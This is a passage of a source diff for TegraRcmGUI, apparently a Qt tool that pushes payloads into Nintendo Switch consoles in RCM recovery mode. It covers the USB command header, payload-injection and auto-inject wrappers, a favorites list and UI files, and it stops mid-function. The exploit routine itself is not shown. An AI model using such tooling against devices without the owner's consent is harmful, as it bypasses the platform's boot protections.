#define PORT_MATCH_MAX_PORTS 7
@ -39,10 +42,14 @@
#define USB_VENID_NVIDIA 0x955
#define USB_DEVID_NVIDIA_TEGRA20 0x20
#define USB_DEVID_NINTENDO_SWITCH 0x21
#define USB_DEVID_NVIDIA_TEGRA30 0x30
#define USB_DEVID_NVIDIA_TEGRA114 0x35
#define USB_DEVID_NVIDIA_TEGRA124 0x40
#define MIN(a,b) (((a)<(b))?(a):(b))
#define MAX(a,b) (((a)>(b))?(a):(b))
typedef struct {
libusb_device_handle *handle;
uint8_t iface_num;

View file

@ -1,13 +1,24 @@
#pragma once
#include "windows.h"
#ifndef UCOMMAND_H
#define UCOMMAND_H
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long int u64;
typedef unsigned long DWORD;
#define COMMAND 0x5543
#define BIN_PACKET 0x4249
#define EXEC_COMMAND 0x4558
#define COMMAND 0x5543
#define BIN_PACKET 0x4249
#define EXEC_COMMAND 0x4558
#define RESPONSE 0x5245
#define DEVINFO 0x4445
#define MAX_FILE_SIZE 0x6400000 //100MB
#define SUCCESS 0
#define USB_BUFFER_LENGTH 0x1000
#define RESPONSE_MAX_SIZE 0x20
#define FS_FAT32 3
#define FS_EXFAT 4
typedef enum _UC_CommandType : u8
{
@ -16,7 +27,9 @@ typedef enum _UC_CommandType : u8
READ_SD_FILE,
WRITE_SD_FILE,
PUSH_PAYLOAD,
REBOOT_RCM
REBOOT_RCM,
GET_DEVICE_INFO,
GET_STATUS
} UC_CommandType;
@ -50,7 +63,38 @@ typedef struct _UC_EXEC
typedef struct _UC_BlockHeader
{
u16 signature = BIN_PACKET;
int block_size;
int block_full_size; // Full size if LZ4 compressed
u32 block_size;
u32 block_full_size; // Full size if LZ4 compressed
} UC_BlockHeader;
typedef struct _UC_DeviceInfo
{
u16 signature = DEVINFO; // UC signature
u32 battery_capacity; // Fuel gauge
bool autoRCM; // autoRCM state
u32 burnt_fuses; // Number of burnt fuses
bool sdmmc_initialized; // MMC FS initialized
u8 emmc_fs_type; // 3 is FAT32, 4 is exFAT
u16 emmc_fs_cl_size; // Cluster size in sectors (always 512B per sectors)
DWORD emmc_fs_last_cl; // Last allocated cluster
DWORD emmc_fs_free_cl; // Number of free cluster
bool cfw_sxos; // SX OS bootloader
bool cfw_ams; // AMS fusee
bool cbl_hekate; // Hekate
} UC_DeviceInfo;
/*--------------*/
/* ERROR CODES */
/*--------------*/
// FS
#define OPEN_FILE_FAILED -0x0001
#define FILE_TOO_LARGE -0x0002
#define PATH_TOO_LONG -0x0003
// COM
#define SEND_COMMAND_FAILED -0x1001
#define RECEIVE_COMMAND_FAILED -0x1002
#define USB_WRITE_FAILED -0x1003
#endif // UCOMMAND_H

View file

@ -1,11 +1,20 @@
#include "tegrarcmgui.h"
#include <QApplication>
#include <QTranslator>
int main(int argc, char *argv[])
{
QApplication::setAttribute(Qt::AA_EnableHighDpiScaling);
QApplication a(argc, argv);
a.setStyleSheet("QMainWindow{ border-radius: 20px; }");
QTranslator appTranslator;
//appTranslator.load(QLocale(), QLatin1String("tegrarcmgui"), QLatin1String("_"), QLatin1String(":/i18n"));
appTranslator.load("tegrarcmgui_fr", "languages");
a.installTranslator(&appTranslator);
TegraRcmGUI w;
w.setWindowFlags(Qt::Window | Qt::FramelessWindowHint);
w.show();
return a.exec();
}

View file

@ -1,6 +1,206 @@
#include "qkourou.h"
#include <winioctl.h>
#include <QDateTime>
#include <QThread>
#include <QDebug>
QKourou::QKourou()
QKourou::QKourou(QWidget *parent, Kourou* device, TegraRcmGUI* gui) : QWidget(parent), m_device(device), parent(parent), m_gui(gui)
{
qRegisterMetaType<UC_DeviceInfo>("UC_DeviceInfo");
connect(this, SIGNAL(clb_deviceInfo(UC_DeviceInfo)), parent, SLOT(on_deviceInfo_received(UC_DeviceInfo)));
connect(this, SIGNAL(clb_error(int)), parent, SLOT(error(int)));
connect(this, SIGNAL(clb_deviceStateChange()), parent, SLOT(on_deviceStateChange()));
connect(this, SIGNAL(clb_finished(int)), parent, SLOT(on_Kourou_finished(int)));
}
void QKourou::initDevice(bool silent, KLST_DEVINFO_HANDLE deviceInfo)
{
if (!waitUntilUnlock())
return;
DWORD error = 0;
bool devInfoSync = false;
UC_DeviceInfo di;
setLockEnabled(true);
if (!m_device->initDevice(deviceInfo))
error = GetLastError();
emit clb_deviceStateChange();
bool b_autoInject = false;
if (!error)
{
// Do auto inject if needed
DWORD autoErr = autoInject();
b_autoInject = !autoErr ? true : false;
error = autoErr != WRONG_PARAM_GENERIC ? autoErr : error;
// Auto boot Ariane
if (!error && !b_autoInject && !m_device->arianeIsReady() && autoLaunchAriane && ariane_bin.size())
{
arianeIsLoading = true;
error = m_device->hack((u8*)ariane_bin.data(), (u32)ariane_bin.size());
if (!error)
m_device->arianeIsReady_sync();
arianeIsLoading = false;
}
}
setLockEnabled(false);
if (error && !silent)
emit clb_error(int(error));
if (!error && b_autoInject)
emit clb_finished(AUTO_INJECT);
// Get device info if ariane is ready
if (m_device->arianeIsReady())
devInfoSync = !(m_device->getDeviceInfo(&di));
setLockEnabled(false);
emit clb_deviceStateChange();
if (devInfoSync)
emit clb_deviceInfo(di);
}
DWORD QKourou::autoInject()
{
if (!autoInjectPayload)
return WRONG_PARAM_GENERIC;
QString path = m_gui->userSettings->value("autoInjectPath").toString();
if (!path.length())
return WRONG_PARAM_GENERIC;
if (!m_device->rcmIsReady() && !m_device->arianeIsReady())
return DEVICE_NOT_READY;
tmp_string.clear();
tmp_string.append(path.toStdString());
DWORD err = 0;
// Reboot if ariane is loaded
if (m_device->arianeIsReady() && !rebootToRcm())
err = GetLastError();
// Push payload
if (!err) err = m_device->hack(tmp_string.c_str());
if (!err && !m_device->deviceIsReady())
m_device->setRcmReady(false);
return err;
}
void QKourou::getDeviceInfo()
{
qDebug() << "QKourou::getDeviceInfo() execute in " << QThread::currentThreadId();
if (!waitUntilUnlock())
return;
UC_DeviceInfo di;
setLockEnabled(true);
int res = m_device->getDeviceInfo(&di);
setLockEnabled(false);
if (res)
emit clb_error(res);
else
emit clb_deviceInfo(di);
}
void QKourou::hack(const char* payload_path, u8 *payload_buff, u32 buff_size)
{
if (!waitUntilUnlock())
return;
DWORD res = 0;
setLockEnabled(true);
// Reboot if ariane is loaded
if (m_device->arianeIsReady() && !rebootToRcm())
res = GetLastError();
// Push payload
if(!res) res = payload_path != nullptr ? m_device->hack(payload_path) : m_device->hack(payload_buff, buff_size);
if (!res && !m_device->deviceIsReady())
m_device->setRcmReady(false);
setLockEnabled(false);
if (res)
emit clb_error(int(res));
else
emit clb_finished(PAYLOAD_INJECT);
emit clb_deviceStateChange();
}
void QKourou::hack(const char* payload_path)
{
hack(payload_path, nullptr, 0);
}
void QKourou::hack(u8 *payload_buff, u32 buff_size)
{
hack(nullptr, payload_buff, buff_size);
}
bool QKourou::rebootToRcm()
{
DWORD err = !m_device->rebootToRcm() ? RCM_REBOOT_FAILED : 0;
if (!err)
{
m_device->disconnect();
if(!waitUntilInit(3))
err = RCM_REBOOT_FAILED;
}
if (err)
SetLastError(err);
return !err ? true : false;
}
bool QKourou::waitUntilUnlock(uint timeout_s)
{
qint64 begin_timestamp = QDateTime::currentSecsSinceEpoch();
while(isLocked())
{
if (QDateTime::currentSecsSinceEpoch() > begin_timestamp + timeout_s)
return false;
}
return true;
}
bool QKourou::waitUntilRcmReady(uint timeout_s)
{
qint64 begin_timestamp = QDateTime::currentSecsSinceEpoch();
while(!m_device->deviceIsReady())
{
if (QDateTime::currentSecsSinceEpoch() > begin_timestamp + timeout_s)
return false;
}
return true;
}
bool QKourou::waitUntilInit(uint timeout_s)
{
qint64 begin_timestamp = QDateTime::currentSecsSinceEpoch();
while(!m_device->initDevice())
{
if (QDateTime::currentSecsSinceEpoch() > begin_timestamp + timeout_s)
return false;
}
return true;
}

View file

@ -3,11 +3,65 @@
#include <QObject>
#include <QWidget>
#include <QThread>
#include "kourou/kourou.h"
#include "tegrarcmgui.h"
class QKourou
typedef enum _qKourouAction : int
{
INIT_DEVICE,
AUTO_INJECT,
PAYLOAD_INJECT
} qKourouAction;
class TegraRcmGUI;
///
/// \brief The QKourou class is a Qt thread safe reimplemented class of Kourou class, for TegraRcmGUI
///
class QKourou : public QWidget {
Q_OBJECT
public:
QKourou();
QKourou(QWidget *parent, Kourou* device, TegraRcmGUI* gui);
bool isLocked() { return m_locked; }
QByteArray ariane_bin;
bool autoLaunchAriane = true;
bool autoInjectPayload = false;
bool arianeIsLoading = false;
private:
Kourou *m_device;
TegraRcmGUI *m_gui;
bool m_locked = false;
bool m_force_lock = false;
QWidget *parent;
std::string tmp_string;
void hack(const char* payload_path, u8 *payload_buff, u32 buff_size);
void setLockEnabled(bool enable) { m_locked = enable; }
bool waitUntilUnlock(uint timeout_s = 10);
bool waitUntilRcmReady(uint timeout_s = 10);
bool waitUntilInit(uint timeout_s = 10);
bool rebootToRcm();
DWORD autoInject();
public slots:
void initDevice(bool silent, KLST_DEVINFO_HANDLE deviceInfo = nullptr);
void getDeviceInfo();
void hack(const char* payload_path);
void hack(u8 *payload_buff, u32 buff_size);
signals:
void clb_deviceInfo(UC_DeviceInfo di);
void clb_error(int error);
void clb_deviceStateChange();
void clb_finished(int res);
};
#endif // QKOUROU_H

View file

@ -1,6 +1,386 @@
#include <QDebug>
#include "qpayload.h"
#include "ui_qpayload.h"
#include "qutils.h"
QPayloadWidget::QPayloadWidget(QWidget *parent) : QWidget(parent)
/////////////////////////////////////////////////////////////
/// \brief QPayloadWidget::QPayloadWidget
/// \param parent
/////////////////////////////////////////////////////////////
QPayloadWidget::QPayloadWidget(TegraRcmGUI *parent) : QWidget(parent)
, ui(new Ui::QPayloadWidget), parent(parent)
{
ui->setupUi(this);
m_kourou = parent->m_kourou;
m_device = &parent->m_device;
connect(this, SIGNAL(error(int)), parent, SLOT(error(int)));
// Payload model
m_payloadModel = new PayloadModel(this);
/// Populate model
readFavoritesFromFile();
/// Connect model to table view
ui->payload_tableView->setModel(m_payloadModel);
// Payload view
const auto view = ui->payload_tableView;
view->verticalHeader()->hide();
view->horizontalHeader()->hide();
view->hideColumn(1);
view->setColumnWidth(0, view->width());
view->setAlternatingRowColors(true);
view->show();
auto item = ui->payload_tableView->findChildren<QAbstractItemView*>();
for (int i = 0; i < item.count(); i++)
{
item.at(i)->setStatusTip("test");
}
// Timers
QTimer *payloadBtnStatus_timer = new QTimer(this);
connect(payloadBtnStatus_timer, SIGNAL(timeout()), this, SLOT(payloadBtnStatusTimer()));
payloadBtnStatus_timer->start(1000); // Every second
/// Stylesheets
// Apply stylesheet to all buttons
QString btnSs = GetStyleSheetFromResFile(":/res/QPushButton.qss");
auto buttons = this->findChildren<QPushButton*>();
for (int i = 0; i < buttons.count(); i++)
{
buttons.at(i)->setStyleSheet(btnSs);
buttons.at(i)->setCursor(Qt::PointingHandCursor);
}
ui->payload_tableView->setStyleSheet(GetStyleSheetFromResFile(":/res/QTableView.qss"));
ui->payloadFrame->setStyleSheet(GetStyleSheetFromResFile(":/res/QFrame_box02.qss"));
// Buttons
Switch *_switch = new Switch(parent->m_kourou->autoInjectPayload ? true : false, 70);
ui->horizontalLayout->addWidget(_switch);
connect(_switch, SIGNAL(clicked()), this, SLOT(on_autoInject_toggled()));
//ui->injectPayloadBtn->setCursor(Qt::PointingHandCursor);
//ui->browsePayloadBtn->setCursor(Qt::PointingHandCursor);
// ToolTip
ui->addFavoriteBtn->setStatusTip(tr("Add current payload selection to favorites"));
ui->deleteFavoriteBtn->setStatusTip(tr("Remove selected item from favorites (payload file will not be deleted)"));
QString ppath = parent->userSettings->value("autoInjectPath").toString();
ui->payload_path->setText(ppath);
}
void QPayloadWidget::payloadBtnStatusTimer()
{
qint64 time = QDateTime::currentSecsSinceEpoch();
if (payloadBtnStatusLbl_time && (time + 5 > payloadBtnStatusLbl_time))
{
ui->payloadBtnStatusLbl->setText("");
payloadBtnStatusLbl_time = 0;
}
}
void QPayloadWidget::on_browsePayloadBtn_clicked()
{
QString path = FileDialog(this, open_file).toLocal8Bit();
if (path.length())
ui->payload_path->setText(path);
}
void QPayloadWidget::on_injectPayloadBtn_clicked()
{
if (!m_device->rcmIsReady() && !m_device->arianeIsReady())
return;
if (payloadBtnLock)
{
ui->payloadBtnStatusLbl->setText(tr("Work in progress"));
payloadBtnStatusLbl_time = QDateTime::currentSecsSinceEpoch();
return;
}
QFile file(ui->payload_path->text().toLocal8Bit().constData());
if (!file.open(QIODevice::ReadOnly))
return parent->error(0x005);
if (file.size() > PAYLOAD_MAX_SIZE)
{
file.close();
return parent->error(PAYLOAD_TOO_LARGE);
}
file.close();
tmp_string.clear();
tmp_string.append(ui->payload_path->text().toStdString());
payloadBtnLock = true;
QtConcurrent::run(m_kourou, &QKourou::hack, tmp_string.c_str());
}
void QPayloadWidget::on_deviceStateChange()
{
if ((m_device->rcmIsReady() && !m_kourou->autoLaunchAriane) || m_device->arianeIsReady())
{
payloadBtnLock = false;
ui->injectPayloadBtn->setCursor(Qt::PointingHandCursor);
ui->injectPayloadBtn->setStatusTip("Inject current payload to device");
if (m_payloadModel->rowCount())
ui->payload_tableView->setStatusTip(tr("Double-click to inject payload"));
}
else
{
payloadBtnLock = true;
QString tip = m_device->getStatus() == CONNECTED ? tr("RCM device is not ready. Reboot to RCM") : tr("RCM device undetected!");
if (m_kourou->arianeIsLoading)
tip = tr("Wait for Ariane to be fully loaded");
//ui->injectPayloadBtn->setToolTip(tip);
ui->injectPayloadBtn->setStatusTip(tip);
ui->injectPayloadBtn->setCursor(Qt::ForbiddenCursor);
if (m_payloadModel->rowCount())
ui->payload_tableView->setStatusTip(tr("Double-click to push favorite into current selection"));
}
}
bool QPayloadWidget::addFavorite(QString name, QString path)
{
QFile file(path);
if (!file.exists())
return false;
if (!m_payloadModel->getPayloads().contains({ name, path }))
{
m_payloadModel->insertRows(0, 1, QModelIndex());
QModelIndex index = m_payloadModel->index(0, 0, QModelIndex());
m_payloadModel->setData(index, name, Qt::EditRole);
index = m_payloadModel->index(0, 1, QModelIndex());
m_payloadModel->setData(index, path, Qt::EditRole);
return true;
}
return false;
}
void QPayloadWidget::on_addFavoriteBtn_clicked()
{
QString path = ui->payload_path->text();
if (!path.size())
{
QMessageBox::information(this, tr("Argument missing"), tr("Payload path is missing"));
return;
}
QFile file(path);
if (!file.exists())
{
QMessageBox::information(this, tr("File missing"), tr("Payload path does not point to a file"));
return;
}
QFileInfo info(path);
QString name = info.fileName();
if (m_payloadModel->getPayloads().contains({ path, name }))
{
QMessageBox::information(this, tr("Duplicate Path"), tr("Payload already in favorites").arg(name));
return;
}
if(addFavorite(name, path))
writeFavoritesToFile();
}
void QPayloadWidget::on_deleteFavoriteBtn_clicked()
{
int row = ui->payload_tableView->currentIndex().row();
if (row >= 0 && !m_payloadModel->removeRows(row, 1, QModelIndex()))
emit error(-1);
writeFavoritesToFile();
}
void QPayloadWidget::on_autoInject_toggled()
{
m_kourou->autoInjectPayload = !m_kourou->autoInjectPayload;
parent->userSettings->setValue("autoInject", m_kourou->autoInjectPayload);
if (m_kourou->autoInjectPayload && (m_device->arianeIsReady() || m_device->rcmIsReady()))
QtConcurrent::run(m_kourou, &QKourou::initDevice, false, nullptr);
}
void QPayloadWidget::on_payload_path_textChanged(const QString &arg1)
{
if (!ui->payload_path->text().length())
return;
QString curPath = parent->userSettings->value("autoInjectPath").toString();
if (curPath == ui->payload_path->text())
return;
parent->userSettings->setValue("autoInjectPath", ui->payload_path->text());
if (m_kourou->autoInjectPayload && (m_device->arianeIsReady() || m_device->rcmIsReady()))
QtConcurrent::run(m_kourou, &QKourou::initDevice, false, nullptr);
}
bool QPayloadWidget::readFavoritesFromFile()
{
QFile pFile(QStringLiteral("payloads.json"));
if (!pFile.open(QIODevice::ReadOnly))
return false;
QByteArray pData = pFile.readAll();
pFile.close();
QJsonDocument loadDoc(QJsonDocument::fromJson(pData));
QJsonObject json = loadDoc.object();
QJsonArray pArray = json["favorites"].toArray();
int i(0);
for (i = 0; i < pArray.size(); i++)
{
QJsonObject payloadEntry = pArray[i].toObject();
QString payload_name = payloadEntry["name"].toString();
QString payload_path = payloadEntry["path"].toString();
addFavorite(payload_name, payload_path);
}
return i ? true : false;
}
bool QPayloadWidget::writeFavoritesToFile()
{
QFile pFile(QStringLiteral("payloads.json"));
if (!pFile.open(QIODevice::WriteOnly))
return false;
QJsonArray pArray;
QVector<payload_t> payloads = m_payloadModel->getPayloads();
for (payload_t paylaod : payloads)
{
QJsonObject payloadEntry;
payloadEntry["name"] = paylaod.name;
payloadEntry["path"] = paylaod.path;
pArray.append(payloadEntry);
}
QJsonObject json;
json["favorites"] = pArray;
QJsonDocument saveDoc(json);
pFile.write(saveDoc.toJson());
pFile.close();
return true;
}
/////////////////////////////////////////////////////////////
/// \brief PayloadModel::PayloadModel
/// \param parent
////////////////////////////////////////////////////////////
PayloadModel::PayloadModel(QObject *parent)
: QAbstractTableModel(parent)
{
}
int PayloadModel::rowCount(const QModelIndex &parent) const
{
return parent.isValid() ? 0 : int(payloads.size());
}
int PayloadModel::columnCount(const QModelIndex &parent) const
{
return parent.isValid() ? 0 : 2;
}
QVariant PayloadModel::data(const QModelIndex &index, int role) const
{
if (!index.isValid())
return QVariant();
if (index.row() >= payloads.size() || index.row() < 0)
return QVariant();
if (role == Qt::DisplayRole)
{
const auto &payload = payloads.at(index.row());
return !index.column() ? payload.name : payload.path;
}
return QVariant();
}
bool PayloadModel::insertRows(int position, int rows, const QModelIndex &index)
{
Q_UNUSED(index)
beginInsertRows(QModelIndex(), position, position + rows - 1);
for (int row = 0; row < rows; ++row)
payloads.insert(position, { QString(), QString() });
endInsertRows();
return true;
}
bool PayloadModel::removeRows(int position, int rows, const QModelIndex &index)
{
Q_UNUSED(index)
beginRemoveRows(QModelIndex(), position, position + rows - 1);
for (int row = 0; row < rows; ++row)
payloads.removeAt(position);
endRemoveRows();
return true;
}
bool PayloadModel::setData(const QModelIndex &index, const QVariant &value, int role)
{
if (index.isValid() && role == Qt::EditRole)
{
const int row = index.row();
auto payload = payloads.value(row);
if (!index.column())
payload.name = value.toString();
else
payload.path = value.toString();
payloads.replace(row, payload);
emit dataChanged(index, index, {Qt::DisplayRole, Qt::EditRole});
return true;
}
return false;
}
Qt::ItemFlags PayloadModel::flags(const QModelIndex &index) const
{
if (!index.isValid())
return Qt::ItemIsEnabled;
return QAbstractTableModel::flags(index) | Qt::ItemIsEditable;
}
const QVector<payload_t> &PayloadModel::getPayloads() const
{
return payloads;
}
void QPayloadWidget::on_payload_tableView_doubleClicked(const QModelIndex &index)
{
QString path = m_payloadModel->getPayloads().at(index.row()).path;
ui->payload_path->setText(path);
on_injectPayloadBtn_clicked();
}

View file

@ -1,18 +1,101 @@
#ifndef QPAYLOADWIDGET_H
#define QPAYLOADWIDGET_H
#include <QObject>
#include <QWidget>
#include <QTableWidget>
#include <QAbstractTableModel>
#include <QFileSystemModel>
#include "tegrarcmgui.h"
struct payload_t
{
QString path;
QString name;
bool operator==(const payload_t &other) const
{
return path == other.path;
}
};
inline QDataStream &operator<<(QDataStream &stream, const payload_t &payload)
{
return stream << payload.name << payload.path;
}
inline QDataStream &operator>>(QDataStream &stream, payload_t &payload)
{
return stream >> payload.name >> payload.path;
}
class TegraRcmGUI;
class Kourou;
class QKourou;
class PayloadModel : public QAbstractTableModel
{
Q_OBJECT
public:
PayloadModel(QObject *parent = nullptr);
int rowCount(const QModelIndex &parent = QModelIndex()) const override;
int columnCount(const QModelIndex &parent = QModelIndex()) const override;
QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override;
bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole) override;
bool insertRows(int position, int rows, const QModelIndex &index) override;
bool removeRows(int position, int rows, const QModelIndex &index) override;
Qt::ItemFlags flags(const QModelIndex &index) const override;
const QVector<payload_t> &getPayloads() const;
private:
QVector<payload_t> payloads;
};
QT_BEGIN_NAMESPACE
namespace Ui { class QPayloadWidget; }
QT_END_NAMESPACE
class QPayloadWidget : public QWidget
{
Q_OBJECT
public:
explicit QPayloadWidget(QWidget *parent = nullptr);
explicit QPayloadWidget(TegraRcmGUI *parent = nullptr);
std::string tmp_string;
const QVector<payload_t> &getPayloads() const { return m_payloadModel->getPayloads(); }
private:
Ui::QPayloadWidget *ui;
PayloadModel *m_payloadModel;
QFileSystemModel *m_fsModel;
TegraRcmGUI *parent;
QKourou *m_kourou;
Kourou *m_device;
qint64 payloadBtnStatusLbl_time = 0;
bool payloadBtnLock = false;
bool addFavorite(QString name, QString path);
bool readFavoritesFromFile();
bool writeFavoritesToFile();
signals:
public slots:
void on_deviceStateChange();
private slots:
void on_browsePayloadBtn_clicked();
void on_injectPayloadBtn_clicked();
void on_addFavoriteBtn_clicked();
void on_deleteFavoriteBtn_clicked();
void on_autoInject_toggled();
void payloadBtnStatusTimer();
void on_payload_path_textChanged(const QString &arg1);
void on_payload_tableView_doubleClicked(const QModelIndex &index);
signals:
void error(int);
};
#endif // QPAYLOADWIDGET_H

View file

@ -1,22 +1,285 @@
<ui version="4.0" >
<author></author>
<comment></comment>
<exportmacro></exportmacro>
<class>Form</class>
<widget class="QWidget" name="Form" >
<property name="geometry" >
<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<class>QPayloadWidget</class>
<widget class="QWidget" name="QPayloadWidget">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>400</width>
<height>300</height>
<width>496</width>
<height>380</height>
</rect>
</property>
<property name="windowTitle" >
<property name="windowTitle">
<string>Form</string>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<widget class="QTableView" name="payload_tableView">
<property name="geometry">
<rect>
<x>20</x>
<y>150</y>
<width>360</width>
<height>145</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="editTriggers">
<set>QAbstractItemView::NoEditTriggers</set>
</property>
<property name="dragDropMode">
<enum>QAbstractItemView::DropOnly</enum>
</property>
<property name="defaultDropAction">
<enum>Qt::MoveAction</enum>
</property>
<property name="selectionMode">
<enum>QAbstractItemView::SingleSelection</enum>
</property>
<property name="showGrid">
<bool>false</bool>
</property>
<attribute name="horizontalHeaderVisible">
<bool>false</bool>
</attribute>
<attribute name="verticalHeaderVisible">
<bool>false</bool>
</attribute>
</widget>
<widget class="QFrame" name="payloadFrame">
<property name="geometry">
<rect>
<x>20</x>
<y>35</y>
<width>421</width>
<height>81</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">
</string>
</property>
<property name="frameShape">
<enum>QFrame::StyledPanel</enum>
</property>
<property name="frameShadow">
<enum>QFrame::Raised</enum>
</property>
<widget class="QPushButton" name="browsePayloadBtn">
<property name="geometry">
<rect>
<x>340</x>
<y>10</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string>Browse</string>
</property>
</widget>
<widget class="QLabel" name="label">
<property name="geometry">
<rect>
<x>0</x>
<y>10</y>
<width>50</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
color: rgb(255, 255, 255);</string>
</property>
<property name="text">
<string>Path:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="label_2">
<property name="geometry">
<rect>
<x>250</x>
<y>50</y>
<width>81</width>
<height>16</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;
color: rgb(255, 255, 255);</string>
</property>
<property name="text">
<string>Auto inject:</string>
</property>
<property name="alignment">
<set>Qt::AlignRight|Qt::AlignTrailing|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QWidget" name="horizontalLayoutWidget">
<property name="geometry">
<rect>
<x>340</x>
<y>40</y>
<width>71</width>
<height>31</height>
</rect>
</property>
<layout class="QHBoxLayout" name="horizontalLayout"/>
</widget>
<widget class="QPushButton" name="injectPayloadBtn">
<property name="geometry">
<rect>
<x>10</x>
<y>40</y>
<width>101</width>
<height>30</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string>INJECT PAYLOAD</string>
</property>
</widget>
<widget class="QLineEdit" name="payload_path">
<property name="geometry">
<rect>
<x>55</x>
<y>10</y>
<width>281</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string/>
</property>
<property name="alignment">
<set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QLabel" name="payloadBtnStatusLbl">
<property name="geometry">
<rect>
<x>120</x>
<y>45</y>
<width>131</width>
<height>21</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 10pt &quot;Calibri&quot;;</string>
</property>
<property name="text">
<string/>
</property>
<property name="alignment">
<set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
</property>
</widget>
</widget>
<widget class="QLabel" name="payloadPathLbl">
<property name="geometry">
<rect>
<x>20</x>
<y>15</y>
<width>131</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 11pt &quot;Calibri&quot;;
</string>
</property>
<property name="text">
<string>Payload selection:</string>
</property>
<property name="alignment">
<set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
</property>
</widget>
<widget class="QPushButton" name="addFavoriteBtn">
<property name="geometry">
<rect>
<x>390</x>
<y>150</y>
<width>31</width>
<height>31</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string/>
</property>
<property name="icon">
<iconset resource="qresources.qrc">
<normaloff>:/res/add.ico</normaloff>:/res/add.ico</iconset>
</property>
</widget>
<widget class="QPushButton" name="deleteFavoriteBtn">
<property name="geometry">
<rect>
<x>390</x>
<y>190</y>
<width>31</width>
<height>31</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true"/>
</property>
<property name="text">
<string/>
</property>
<property name="icon">
<iconset resource="qresources.qrc">
<normaloff>:/res/delete.ico</normaloff>:/res/delete.ico</iconset>
</property>
</widget>
<widget class="QLabel" name="favoritesLbl">
<property name="geometry">
<rect>
<x>20</x>
<y>130</y>
<width>120</width>
<height>20</height>
</rect>
</property>
<property name="styleSheet">
<string notr="true">font: 11pt &quot;Calibri&quot;;
</string>
</property>
<property name="text">
<string>Favorites:</string>
</property>
<property name="alignment">
<set>Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter</set>
</property>
</widget>
<zorder>payload_tableView</zorder>
<zorder>payloadFrame</zorder>
<zorder>addFavoriteBtn</zorder>
<zorder>deleteFavoriteBtn</zorder>
<zorder>favoritesLbl</zorder>
<zorder>payloadPathLbl</zorder>
</widget>
<pixmapfunction></pixmapfunction>
<resources>
<include location="qresources.qrc"/>
</resources>
<connections/>
</ui>

View file

@ -1,2 +1,17 @@
<!DOCTYPE RCC>
<RCC version="1.0"/>
<RCC>
<qresource prefix="/">
<file alias="ariane_bin">ariane/out/ariane.bin</file>
<file>res/switch_logo_off.png</file>
<file>res/switch_logo_on.png</file>
<file>res/QTabWidget.qss</file>
<file>res/QPushButton.qss</file>
<file>res/QLabel_title01.qss</file>
<file>res/QTableView.qss</file>
<file>res/QFrame_box01.qss</file>
<file>res/QMainWindow.qss</file>
<file>res/QFrame_titleBar.qss</file>
<file>res/QFrame_box02.qss</file>
<file>res/delete.ico</file>
<file>res/add.ico</file>
</qresource>
</RCC>

View file

@ -1,9 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<author/>
<comment/>
<exportmacro/>
<class>qTools</class>
<widget name="qTools" class="QWidget">
<widget class="QWidget" name="qTools">
<property name="geometry">
<rect>
<x>0</x>
@ -15,7 +13,20 @@
<property name="windowTitle">
<string>Form</string>
</property>
<widget class="QLabel" name="label">
<property name="geometry">
<rect>
<x>50</x>
<y>30</y>
<width>47</width>
<height>14</height>
</rect>
</property>
<property name="text">
<string>TextLabel</string>
</property>
</widget>
</widget>
<pixmapfunction/>
<resources/>
<connections/>
</ui>

View file

@ -1,5 +1,6 @@
#include "qutils.h"
QString FileDialog(QWidget *parent, fdMode mode, const QString& defaultName)
{
QFileDialog fd(parent);
@ -21,3 +22,136 @@ QString FileDialog(QWidget *parent, fdMode mode, const QString& defaultName)
}
return filePath;
}
QString GetReadableSize(qint64 bytes)
{
return QLocale().formattedDataSize(bytes);
}
Switch::Switch(bool initial_state, int width, QBrush brush, QWidget *parent) : QAbstractButton(parent),
_height(16),
_opacity(0.000),
_switch(initial_state),
_margin(3),
_thumb("#d5d5d5"),
_width(width),
_anim(new QPropertyAnimation(this, "offset", this))
{
if (!initial_state)
{
setOffset(_height / 2);
}
else
{
setOffset(_width - _height);
_thumb = brush;
}
_y = _height / 2;
setBrush(brush);
}
Switch::Switch(const QBrush &brush, QWidget *parent) : QAbstractButton(parent),
_height(16),
_switch(false),
_opacity(0.000),
_margin(3),
_thumb("#d5d5d5"),
_anim(new QPropertyAnimation(this, "offset", this))
{
setOffset(_height / 2);
_y = _height / 2;
setBrush(brush);
}
void Switch::paintEvent(QPaintEvent *e) {
QPainter p(this);
p.setPen(Qt::NoPen);
if (isEnabled()) {
p.setBrush(_switch ? brush() : Qt::black);
p.setOpacity(_switch ? 0.5 : 0.38);
p.setRenderHint(QPainter::Antialiasing, true);
p.drawRoundedRect(QRect(_margin, _margin, _width - 2 * _margin, height() - 2 * _margin), 8.0, 8.0);
p.setBrush(_thumb);
p.setOpacity(1.0);
p.drawEllipse(QRectF(offset() - (_height / 2), _y - (_height / 2), height(), height()));
} else {
p.setBrush(Qt::black);
